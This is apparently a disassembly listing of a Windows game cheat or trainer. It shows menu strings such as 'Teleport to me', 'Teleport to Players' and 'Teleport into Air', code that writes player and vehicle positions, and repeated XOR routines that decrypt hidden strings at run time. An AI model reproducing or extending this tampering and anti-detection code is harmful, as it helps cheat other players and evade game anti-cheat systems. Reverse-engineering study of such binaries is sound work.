lea rcx, [rbp + 0x14d0]
call fcn.14005ba60
nop
lea r8, [0x140147574]
lea rdx, [r14 + 0x18]
lea rcx, [rbp + 0x14b0]
call fcn.1400b0ef0
nop
lea r9, [rbp + 0x14d0]
mov r8, rax
movzx edx, dil
lea rcx, [rbp + 0x14f0]
call fcn.1400b48d0
nop
mov r8d, 2
lea rdx, [0x140147570]
lea rcx, [rbp + 0x14f0]
call fcn.140046e30
mov rdx, rax
lea rcx, [rbp + 0x19a8]
call fcn.1400aed30
nop
lea rcx, [rbp + 0x14f0]
call fcn.140046ba0
nop
lea rcx, [rbp + 0x14b0]
call fcn.140046ba0
nop
lea rcx, [rbp + 0x14d0]
call fcn.140046ba0
lea rdx, [0x14013da4c]
lea rcx, [r14 + 0x18]
call fcn.1400b4880
test al, al
je 0x1400a9e7c
cvttss2si edx, dword [r14 + 0x38]
lea rcx, [rbp + 0x1510]
call fcn.14005ba60
nop
mov r9d, 9
lea r8, str.Vehicle__
xor edx, edx
lea rcx, [rbp + 0x1510]
call fcn.1400b5bb0
mov rdx, rax
lea rcx, [rbp + 0x1530]
call fcn.1400aed30
nop
mov r8d, 2
lea rdx, [0x140147570]
lea rcx, [rbp + 0x1530]
call fcn.140046e30
mov rdx, rax
lea rcx, [rbp + 0x1550]
call fcn.1400aed30
lea rdx, [rbp + 0x1550]
lea rcx, [rbp + 0x19a8]
call fcn.1400aeca0
lea rcx, [rbp + 0x1550]
call fcn.140046ba0
nop
lea rcx, [rbp + 0x1530]
call fcn.140046ba0
nop
lea rcx, [rbp + 0x1510]
call fcn.140046ba0
mov eax, dword [r14 + 0x14]
cmp dword [0x1401a788c], eax
sete bl
mov qword [rbp + 0x148], 0
lea rcx, [rbp + 0x19a8]
call fcn.140046b40
lea r9, [rbp + 0x148]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.140045940
test al, al
je 0x1400a9ed9
xor bl, 1
mov eax, dword [r14 + 0x14]
mov dword [0x1401a788c], eax
mov rdx, r14
lea rcx, [0x1401ad2b0]
call fcn.1400828d0
test bl, bl
je 0x1400a9ee7
call fcn.1400131b0
nop
lea rcx, [rbp + 0x19a8]
call fcn.140046ba0
add r14, 0x50
cmp r14, r15
jne 0x1400a9d30
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
movzx eax, word [0x140146cb0]
mov word [rbp + 0xd98], ax
movzx eax, byte [0x140146cb2]
movups xmm0, xmmword [0x140146ca0]
mov byte [rbp + 0xd9a], al
movups xmmword [rbp + 0xd88], xmm0
movss xmm7, dword [0x1401493d0]
mov r8d, r13d
cmp r12d, 2
jl 0x1400aa099
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xd8c]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a9f90
cmp r8d, 0x13
jge 0x1400aa0e0
movsxd rax, r8d
lea r9, [rbp + 0xd88]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400aa0b0
movups xmm0, xmmword [str.nrr]
movups xmmword [rbp + 0xcf8], xmm0
movzx eax, word [0x140145440]
mov word [rbp + 0xd08], ax
cmp byte [0x140145441], 0
je 0x1400aa2a0
mov r8d, r13d
cmp r12d, 2
jl 0x1400aa259
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xcfc]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400aa150
cmp r8d, 0x12
jge 0x1400aa2a0
movsxd rax, r8d
lea r9, [rbp + 0xcf8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400aa270
mov r9b, 1
movaps xmm0, xmm7
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0xd88]
lea rcx, [rbp + 0xcf8]
call fcn.14007f140
mov rax, qword [0x1401a97b0]
mov rcx, qword [rax + 0x40a0]
movss xmm0, dword [rcx + 0x30]
subss xmm0, xmm15
movss dword [rbp + 0x150], xmm0
mov dword [rbp + 0x154], 0x41a00000
xor r8d, r8d
lea rdx, [rbp + 0x150]
lea rcx, str.Teleport_to_me
call fcn.140037850
lea r15, [0x1401ab9f0]
test al, al
je 0x1400aa3ae
mov qword [rbp + 0x17a0], r15
mov rcx, r15
call fcn.14007e8b0
nop
mov r14, qword [0x1401abc38]
mov rbx, qword [0x1401abc30]
cmp rbx, r14
je 0x1400aa3a5
call fcn.1400aeab0
mov r8, qword [0x1401ab128]
mov rdx, qword [rbx + 0x48]
mov rcx, rax
call fcn.14007f090
mov rcx, qword [0x1401ab128]
add rcx, 0x90
mov r8d, recv
lea rdx, [rbp + 0x630]
call fcn.14007e5d0
movsd xmm0, qword [rbp + 0x630]
movsd qword [rbp + 0x640], xmm0
mov eax, dword [rbp + 0x638]
mov dword [rbp + 0x648], eax
lea rdx, [rbp + 0x640]
mov rcx, qword [rbx + 0x48]
call fcn.14007eac0
add rbx, 0x50
cmp rbx, r14
jne 0x1400aa338
mov rcx, r15
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rax, qword [0x1401a97b0]
mov rcx, qword [rax + 0x40a0]
movss xmm0, dword [rcx + 0x30]
subss xmm0, xmm15
movss dword [rbp + 0x158], xmm0
mov dword [rbp + 0x15c], 0x41a00000
xor r8d, r8d
lea rdx, [rbp + 0x158]
lea rcx, str.Teleport_to_Players
call fcn.140037850
test al, al
je 0x1400aa496
mov qword [rbp + 0x17a0], r15
mov rcx, r15
call fcn.14007e8b0
nop
mov r14, qword [0x1401abc38]
mov rbx, qword [0x1401abc30]
cmp rbx, r14
je 0x1400aa48d
nop dword [rax]
call fcn.1400aeab0
mov r8, qword [0x1401ab128]
mov rdx, qword [rbx + 0x48]
mov rcx, rax
call fcn.14007f090
mov rcx, qword [0x1401a97e8]
add rcx, 0x90
mov r8d, recv
lea rdx, [rbp + 0x650]
call fcn.14007e5d0
movsd xmm0, qword [rbp + 0x650]
movsd qword [rbp + 0x660], xmm0
mov eax, dword [rbp + 0x658]
mov dword [rbp + 0x668], eax
lea rdx, [rbp + 0x660]
mov rcx, qword [rbx + 0x48]
call fcn.14007eac0
add rbx, 0x50
cmp rbx, r14
jne 0x1400aa420
mov rcx, r15
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rax, qword [0x1401a97b0]
mov rcx, qword [rax + 0x40a0]
movss xmm0, dword [rcx + 0x30]
subss xmm0, xmm15
movss dword [rbp + 0x160], xmm0
mov dword [rbp + 0x164], 0x41a00000
xor r8d, r8d
lea rdx, [rbp + 0x160]
lea rcx, str.Teleport_into_Air
call fcn.140037850
test al, al
je 0x1400aa54c
cmp dword [0x1401a788c], 0xffffffff
je 0x1400aa54c
call fcn.1400aeab0
mov r8, qword [0x1401ab128]
mov rdx, qword [0x1401ad2f8]
mov rcx, rax
call fcn.14007f090
movss xmm2, dword [0x1401ad2c0]
addss xmm2, dword [0x140149358]
movss xmm1, dword [0x1401ad2bc]
movss xmm0, dword [0x1401ad2b8]
unpcklps xmm0, xmm1
movsd qword [rbp + 0x680], xmm0
movss dword [rbp + 0x688], xmm2
lea rdx, [rbp + 0x680]
mov rcx, qword [0x1401ad2f8]
call fcn.14007eac0
call fcn.14000cdc0
jmp 0x1400ac87a
cmp byte [0x1401ab1bf], 0
je 0x1400ac87a
addss xmm7, xmm6
subss xmm7, xmm12
addss xmm8, xmm12
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
movss dword [rax + 0x118], xmm8
movss dword [rax + 0x11c], xmm7
mov byte [rax + 0x159], 1
subss xmm9, xmm15
movsd xmm0, qword [0x140146618]
movsd qword [rbp + 0x500], xmm0
movzx ecx, word [0x140146620]
mov word [rbp + 0x508], cx
movzx eax, byte [0x140146622]
mov byte [rbp + 0x500], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x501], 0x39
xor byte [rbp + 0x502], 0x3a
xor byte [rbp + 0x503], 0x3b
xor byte [rbp + 0x504], 0x3c
xor byte [rbp + 0x505], 0x3d
xor byte [rbp + 0x506], 0x3e
xor byte [rbp + 0x507], 0x3f
xor cl, 0x40
mov byte [rbp + 0x508], cl
xor byte [rbp + 0x509], 0x41
xor al, 0x42
mov byte [rbp + 0x50a], al
movsd xmm0, qword [str.knousyl_]
movsd qword [rbp + 0x330], xmm0
movzx eax, byte [0x1401454b8]
mov byte [rbp + 0x330], 0x53
xor byte [rbp + 0x331], 0x39
xor byte [rbp + 0x332], 0x3a
xor byte [rbp + 0x333], 0x3b
xor byte [rbp + 0x334], 0x3c
xor byte [rbp + 0x335], 0x3d
xor byte [rbp + 0x336], 0x3e
xor byte [rbp + 0x337], 0x3f
xor al, 0x40
mov byte [rbp + 0x338], al
mov r9b, 1
movss xmm8, dword [0x1401493d0]
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x330]
call fcn.14007f140
movups xmm0, xmmword [str.kMH_PNM_._cf__j___:____T]
movups xmmword [rbp + 0x12d0], xmm0
movsd xmm0, qword [0x1401465f8]
movsd qword [rbp + 0x12e0], xmm0
mov eax, dword [0x140146600]
mov dword [rbp + 0x12e8], eax
movzx eax, byte [0x140146604]
mov byte [rbp + 0x12ec], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400aa829
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x12d4]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400aa720
cmp r8d, 0x1d
jge 0x1400aa870
movsxd rax, r8d
lea r9, [rbp + 0x12d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400aa840
movsd xmm0, qword [str.kMH_PNM_._C]
movsd qword [rbp + 0x690], xmm0
mov eax, dword [0x1401460b8]
mov dword [rbp + 0x698], eax
cmp byte [0x1401460bb], 0
je 0x1400aa9f0
mov r8d, r13d
cmp r12d, 2
jl 0x1400aa9ae
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kMH_PNM_._C]
xorps xmm2, xmm0
movd dword [rbp + 0x690], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x694]
xorps xmm2, xmm1
movd dword [rbp + 0x694], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x690]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400aa9c0
lea r8, [0x1401609a9]
lea rdx, [rbp + 0x12d0]
lea rcx, [rbp + 0x690]
call fcn.14007f300
mov eax, dword [0x1401463f8]
mov dword [rbp + 0x988], eax
movzx eax, word [0x1401463fc]
mov word [rbp + 0x98c], ax
movzx eax, byte [0x1401463fe]
movsd xmm0, qword [0x1401463f0]
mov byte [rbp + 0x98e], al
movsd qword [rbp + 0x980], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400aab56
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401463f0]
xorps xmm2, xmm0
movd dword [rbp + 0x980], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x984]
xorps xmm2, xmm1
movd dword [rbp + 0x984], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x980]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400aab70
movsd xmm0, qword [str.oXNNP_MA]
movsd qword [rbp + 0x3d0], xmm0
movzx eax, word [0x140145558]
mov word [rbp + 0x3d8], ax
lea r8, [0x140160947]
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0x3d0]
cmp byte [0x140145559], 0
je 0x1400aac26
mov byte [rbp + 0x3d0], 0x57
xor byte [rbp + 0x3d1], 0x39
xor byte [rbp + 0x3d2], 0x3a
xor byte [rbp + 0x3d3], 0x3b
xor byte [rbp + 0x3d4], 0x3c
xor byte [rbp + 0x3d5], 0x3d
xor byte [rbp + 0x3d6], 0x3e
xor byte [rbp + 0x3d7], 0x3f
xor byte [rbp + 0x3d8], 0x40
xor byte [rbp + 0x3d9], 0x41
call fcn.14007f300
mov eax, dword [0x140146598]
mov dword [rbp + 0x908], eax
movzx eax, word [0x14014659c]
mov word [rbp + 0x90c], ax
movzx eax, byte [0x14014659e]
movsd xmm0, qword [0x140146590]
mov byte [rbp + 0x90e], al
movsd qword [rbp + 0x900], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400aad77
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140146590]
xorps xmm2, xmm0
movd dword [rbp + 0x900], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x904]
xorps xmm2, xmm1
movd dword [rbp + 0x904], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x900]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400aad90
movsd xmm0, qword [str.KUHOU_V2A]
movsd qword [rbp + 0x3e0], xmm0
movzx eax, word [0x1401460c8]
mov word [rbp + 0x3e8], ax
lea r8, [0x1401ab1f0]
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0x3e0]
cmp byte [0x1401460c9], 0
je 0x1400aae46
mov byte [rbp + 0x3e0], 0x43
xor byte [rbp + 0x3e1], 0x39
xor byte [rbp + 0x3e2], 0x3a
xor byte [rbp + 0x3e3], 0x3b
xor byte [rbp + 0x3e4], 0x3c
xor byte [rbp + 0x3e5], 0x3d
xor byte [rbp + 0x3e6], 0x3e
xor byte [rbp + 0x3e7], 0x3f
xor byte [rbp + 0x3e8], 0x40
xor byte [rbp + 0x3e9], 0x41
call fcn.14007f300
movzx eax, word [0x140144e18]
mov word [rbp + 0x1638], ax
movzx eax, byte [0x140144e1a]
movups xmm1, xmmword [0x140144e08]
movups xmm0, xmmword [str.W_YYQ]
mov byte [rbp + 0x163a], al
movups xmmword [rbp + 0x1628], xmm1
movups xmmword [rbp + 0x1618], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400aafd9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x161c]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400aaed0
cmp r8d, 0x23
jge 0x1400ab020
movsxd rax, r8d
lea r9, [rbp + 0x1618]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x1400aaff0
movsd xmm0, qword [str.hXHOURZ3A]
movsd qword [rbp + 0x3f0], xmm0
movzx eax, word [0x140146a78]
mov word [rbp + 0x3f8], ax
cmp byte [0x140146a79], 0
je 0x1400ab091
mov byte [rbp + 0x3f0], 0x50
xor byte [rbp + 0x3f1], 0x39
xor byte [rbp + 0x3f2], 0x3a
xor byte [rbp + 0x3f3], 0x3b
xor byte [rbp + 0x3f4], 0x3c
xor byte [rbp + 0x3f5], 0x3d
xor byte [rbp + 0x3f6], 0x3e
xor byte [rbp + 0x3f7], 0x3f
xor byte [rbp + 0x3f8], 0x40
xor byte [rbp + 0x3f9], 0x41
lea r8, [0x1401609aa]
lea rdx, [rbp + 0x1618]
lea rcx, [rbp + 0x3f0]
call fcn.14007f300
movups xmm0, xmmword [str.sCeZRL]
movups xmmword [rbp + 0x11d0], xmm0
movsd xmm0, qword [0x140145be8]
movsd qword [rbp + 0x11e0], xmm0
movzx eax, word [0x140145bf0]
mov word [rbp + 0x11e8], ax
cmp byte [0x140145bf1], 0
je 0x1400ab280
mov r8d, r13d
cmp r12d, 2
jl 0x1400ab239
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x11d4]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
